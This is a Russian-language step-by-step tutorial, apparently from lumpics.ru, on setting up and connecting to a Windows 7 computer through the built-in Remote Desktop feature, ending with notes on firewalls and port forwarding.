Произвести настройку доступа к другому ПК можно и с помощью встроенного инструмента операционной системы, который называется «Удаленный рабочий стол». Нужно учесть, что если вы подключаетесь не к серверному компьютеру, то работу с ним может выполнять только один пользователь, так как одновременное подключение нескольких профилей не предусмотрено.

1. Как и в предыдущих способах, прежде всего требуется произвести настройку системы компьютера, к которому будет производиться подключение. Щелкайте «Пуск» и переходите в «Панель управления».



2. Переходите по пункту «Система и безопасность».



3. Теперь заходите в раздел «Система».



4. В левой части раскрывшегося окна щелкайте по надписи «Дополнительные параметры».



5. Открывается окошко настройки дополнительных параметров. Щелкайте по названию раздела «Удаленный доступ».



6. В блоке «Удаленный рабочий стол» по умолчанию радиокнопка должна быть активной в позиции «Не разрешать подключения…». Нужно переставить её в положение «Разрешить подключаться только с компьютеров…». Также установите пометку напротив надписи «Разрешить подключение удаленного помощника…», если она отсутствует. Затем щелкайте «Выбрать пользователей…».



7. Появляется оболочка «Пользователи удаленного рабочего стола» для выбора юзеров. Тут можно назначить те профили, из-под которых будет разрешен удаленный доступ к данному ПК. Если они не созданы на этом компьютере, то предварительно нужно создать учетные записи. Профили с правами администратора не обязательно добавлять в окошко «Пользователи удаленного рабочего стола», так как им право доступа предоставляется по умолчанию, но при одном условии: у этих административных аккаунтов обязательно должен иметься пароль. Дело в том, что в политике безопасности системы прописано ограничение, что указанный вид доступа может предоставляться только при наличии пароля.

   Все остальные профили, если вы хотите предоставить им возможность заходить на данный ПК удаленно, необходимо добавить в текущее окошко. Для этого жмите «Добавить…».



8. В открывшемся окне «Выбор: «Пользователи»» вбейте через запятую зарегистрированные на данном компьютере имена учетных записей тех юзеров, которых желаете добавить. Затем жмите «OK».



9. Выбранные учетные записи должны отобразиться в окошке «Пользователи удаленного рабочего стола». Кликните «OK».



10. Далее, щелкнув «Применить» и «OK», не забудьте закрыть и окошко «Свойства системы», а иначе не все произведенные вами изменения вступят в силу.



11. Теперь необходимо узнать IP компьютера, к которому будете совершать подключение. Для того чтобы получить указанную информацию, вызовем «Командную строку». Снова щелкайте «Пуск», но на этот раз переходите по надписи «Все программы».



12. Далее заходите в директорию «Стандартные».



13. Отыскав объект «Командная строка», произведите по нему щелчок правой кнопкой мыши. В перечне выбирайте позицию «Запуск от имени администратора».



14. Оболочка «Командной строки» запустится. Вбейте следующую команду:

    ipconfig

    Щелкайте Enter.



15. В интерфейсе окна будет отображен ряд данных. Ищите среди них значение, которое соответствует параметру «IPv4-адрес». Запомните его или запишите, так как это информация понадобится для подключения.

    

    Следует помнить, что подключение к ПК, который находится в режиме гибернации или в спящем режиме, невозможно. В связи с этим требуется удостовериться, что указанные функции отключены.

16. Теперь перейдем к параметрам компьютера, с которого желаем соединиться с удаленным ПК. Зайдите в нем через «Пуск» в папку «Стандартные» и щелкните по наименованию «Подключение к удаленному рабочему столу».



17. Откроется окошко с таким же названием. Щелкайте по надписи «Показать параметры».



18. Откроется целый блок дополнительных параметров. В текущем окне во вкладке «Общие» в поле «Компьютер» введите значение IPv4-адреса удаленного ПК, которое мы ранее узнали через «Командную строку». В поле «Пользователь» введите название одного из тех аккаунтов, профили которых ранее добавили на удаленном ПК. В других вкладках текущего окна можно произвести более тонкие настройки. Но как правило, для обычного подключения там ничего изменять не требуется. Далее щелкайте «Подключить».



19. Выполняется подключение к удаленному компьютеру.



20. Далее вам необходимо будет ввести пароль от данной учетной записи и нажать на кнопку «OK».



21. После этого произойдет подключение и будет открыт удаленный рабочий стол так же, как и в предыдущих программах.

    

    Следует заметить, что если в «Брандмауэре Windows» установлены настройки по умолчанию, то для использования вышеуказанного способа подключения ничего изменять в них не надо. Но если вы меняли параметры в стандартном защитнике или же используете сторонние файерволы, то возможно потребуется дополнительная настройка указанных компонентов.

    Главный недостаток данного способа заключается в том, что с помощью него без проблем можно подключиться к компьютеру только по локальной сети, но не через интернет. Если же вы желаете настроить связь через интернет, то, кроме всего описанного, придется ещё произвести операцию проброса доступных портов на роутере. Алгоритм её выполнения у различных марок и даже моделей роутеров может сильно отличаться. К тому же, если провайдер выделяет динамический, а не статический IP, то для настройки придется использовать дополнительные сервисы.

Мы выяснили, что в Виндовс 7 удаленное подключение к другому компьютеру можно установить, как при помощи сторонних программ, так и используя встроенный инструмент ОС. Конечно, процедура настройки доступа при помощи специализированных приложений намного проще, чем аналогичная операция, выполняемая исключительно функционалом системы. Но в то же время, произведя подключение с помощью встроенного инструментария Windows, можно обойти различные ограничения (коммерческое использование, лимит на время соединения и т.д.), которые имеются у ПО других производителей, а также обеспечить более качественное отображение «Рабочего стола». Хотя, учитывая, насколько сложно это выполнить в случае отсутствия подключения по локальной сети, имея только соединение через всемирную паутину, в последнем случае оптимальным решением будет все-таки использование сторонних программ.

Мы рады, что смогли помочь Вам в решении проблемы.
Опишите, что у вас не получилось. Наши специалисты постараются ответить максимально быстро.

Помогла ли вам эта статья?

ДА НЕТ

lumpics.ru